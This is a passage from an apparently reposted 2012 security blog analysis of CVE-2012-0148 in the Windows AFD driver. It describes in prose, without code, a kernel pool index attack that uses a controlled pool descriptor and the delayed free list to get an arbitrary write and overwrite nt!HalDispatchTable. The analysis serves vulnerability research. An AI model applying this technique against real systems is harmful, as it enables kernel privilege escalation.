(ULONG) in the AFD_HANDLE structure is copied to offset 0×20 in the AFD_POLL_ENTRY record. Pool Overflow When mounting the pool index attack, we leverage the fact that the pool allocator in Windows does not validate the pool index upon freeing a pool chunk. Windows uses the pool index to look up the pointer to the pool descriptor to which it returns the freed memory block. We can therefore reference an out-of-bounds pointer (null) and map the null page to fully control the pool descriptor. By controlling the pool descriptor, we also control the delayed free list, a list of pool chunks waiting to be freed. If we furthermore indicate that the delayed free list is full (0×20 entries), it is immediately processed upon the free to our crafted pool descriptor, hence we are able to free an arbitrary address to a fully controlled linked list. In short, this means that we are able to write any given controllable address to an arbitrary location. From here, we can overwrite the popular nt!HalDispatchTable entry or any other function pointer called from ring 0. Update (2012-02-18): Thanks to @fdfalcon for pointing out a miscalculation regarding the memory usage on x64. Sursa: http://mista.nu/blog/2012/02/17/cve-2012-0148-a-deep-dive-into-afd/

Forta